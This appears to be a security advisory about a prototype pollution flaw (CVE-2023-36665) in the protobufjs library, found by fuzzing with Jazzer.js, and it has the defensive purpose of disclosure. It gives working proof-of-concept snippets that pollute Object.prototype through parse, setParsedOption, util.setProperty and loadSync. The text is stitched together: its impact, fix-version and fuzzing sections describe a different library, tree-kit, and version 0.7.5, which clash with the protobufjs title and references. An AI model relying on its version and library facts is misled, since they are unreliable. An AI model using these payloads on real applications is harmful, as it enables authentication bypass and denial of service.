We have found a new Prototype Pollution vulnerability in protobufjs (CVE-2023-36665). The maintainer of protobufjs has issued an update that fixed the issue on 27 June 2023. The vulnerability was discovered by Peter Samarin using Jazzer.js with our newly integrated Prototype Pollution bug detector. This finding emerged in part from our collaboration with Google's OSS-Fuzz and puts affected applications at risk of remote code execution and denial of service attacks.
Vulnerability Description
1. Using the parse function
const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true
2. Using the setParsedOption function of a ReflectionObject
const protobuf = require("protobufjs");
function gadgetFunction(){
console.log("User is authenticated");
}
// This will fail, but also pollute the prototype of Object
try {
let obj = new protobuf.ReflectionObject("Test");
obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn");
} catch (e) {}
// Now we can make use of the new function on the polluted prototype
const a = {};
a.testFn();
// Prints "User is authenticated" to the console.
3. Using the function util.setProperty
const protobuf = require("protobufjs");
protobuf.util.setProperty({}, "constructor.prototype.verified", true);
console.log({}.verified);
// returns true
4. Using the functions load / loadSync function to load the file "poc.proto":
const protobuf = require("protobufjs");
protobuf.loadSync("poc.proto");
console.log({}.verified);
// returns true
With the proto.poc file containing the following line:
option(foo).constructor.prototype.verified = true;
Impact and Risks
An attacker-controlled object, e.g. data in JSON format received over the network and parsed by the application using tree-kit's extend function, can be used to pollute the prototype of the Object.prototype by adding and overwriting its data and functions. These data and functions will be available in all objects created henceforth.
Depending on the application that uses the tree-kit library, this vulnerability can result in follow-up issues, such as:
- Remote code execution (RCE)
- Denial of service attack (DoS) by overriding some built-in functions (e.g. toString)
- Authentication/validation bypass
- Privilege escalation
- Cross-site scripting (XSS)
Mitigation and Remediation
The maintainers have already released an update fixing the issue. Versions before 0.7.5 are affected and thus vulnerable to Prototype Pollution. We strongly recommend that impacted users upgrade to the newer version that includes the fixes, i.e., version 0.7.5 and above.
How Did We Find It?
We found the issue by using our JavaScript fuzzer: Jazzer.js. Here is the setup to reproduce the issue using Jazzer.js.
The fuzz.js file:
const treekit = require("tree-kit");
module.exports.fuzzFn = function(data) {
try {
treekit.extend({ unflat: true }, {}, JSON.parse(data.toString()));
} catch(e){}
}
Notable info in the package.json is the script for running the fuzzer:
{
"scripts": {
"fuzz": "jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt"
},
"dependencies": {
"tree-kit": "0.7.4"
},
"devDependencies": {
"@jazzer.js/core": "^1.6.1"
}
}
The extend function expects valid objects that we provide to it using JSON.parse().
However, the fuzzer will usually spend some time finding inputs that result in valid JavaScript objects.
To help it out a bit, we this into the dictionary file dict.txt:
"{\"test\": {\"property\": \"true\"}}"
Running the script with npm run fuzz command results in the following output (“...” means some lines were deleted):
$ npm run fuzz
> fuzz
> jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt
...
INFO: Seed: 1508363828
...
#3190 NEW cov: 71 ft: 71 corp: 3/33b lim: 33 exec/s: 0 rss: 155Mb L: 31/31 MS: 3 InsertByte-EraseBytes-ManualDict- DE: "{\"test\": {\"property\": \"true\"}}"-
#3195 REDUCE cov: 71 ft: 71 corp: 3/32b lim: 33 exec/s: 0 rss: 155Mb L: 30/30 MS: 5 CopyPart-EraseBytes-CopyPart-ChangeBinInt-PersAutoDict- DE: "{\"test\": {\"property\": \"true\"}}"-
#3537 REDUCE cov: 71 ft: 71 corp: 3/29b lim: 33 exec/s: 0 rss: 155Mb L: 27/27 MS: 2 PersAutoDict-EraseBytes- DE: "{\"test\": {\"property\": \"true\"}}"-
#5976 REDUCE cov: 77 ft: 77 corp: 4/63b lim: 43 exec/s: 0 rss: 156Mb L: 41/41 MS: 1 ManualDict- DE: "constructor.prototype"-
...
#17090 REDUCE cov: 82 ft: 101 corp: 15/583b lim: 98 exec/s: 0 rss: 159Mb L: 89/89 MS: 1 EraseBytes-
==3524== Prototype Pollution: Prototype of Object changed. Additional properties in object1: { 'tre0': [object Object] }
MS: 1 ManualDict- DE: "__proto__"-; base unit: 2ccbd755e648bb96a1a46ed5c9b80d7fab5d3e5e
0x7b,0x22,0x63,0x6f,0x6e,0x73,0x2e,0x5f,0x5f,0x70,0x72,0x6f,0x74,0x6f,0x5f,0x5f,0x2e,0x74,0x72,0x65,0x30,0x22,0x3a,0x20,0x7b,0x22,0x70,0x72,0x72,0x22,0x3a,0x20,0x22,0x74,0x61,0x22,0x7d,0x7d,
{\"cons.__proto__.tre0\": {\"prr\": \"ta\"}}
artifact_prefix='./'; Test unit written to ./crash-ba1a28a50be4cbbe5f3f70e965ff37bc7e685a12
Base64: eyJjb25zLl9fcHJvdG9fXy50cmUwIjogeyJwcnIiOiAidGEifX0=
Prototype Pollution Attacks
Prototype pollution vulnerabilities in JavaScript typically involve user-supplied data that is not properly validated or sanitized. By carefully crafting input that influences object creation or manipulation, an attacker can modify the prototype chain and introduce malicious properties or methods. This manipulation can occur in third-party libraries, frameworks, or even custom code.
References
- More info: https://nvd.nist.gov/vuln/detail/CVE-2023-36665
- Release: https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.2.4
- Commit with fix: https://github.com/protobufjs/protobuf.js/pull/1899
Acknowledgments
We thank Alexander Fenster for responding to the issue and providing a quick fix and a new release.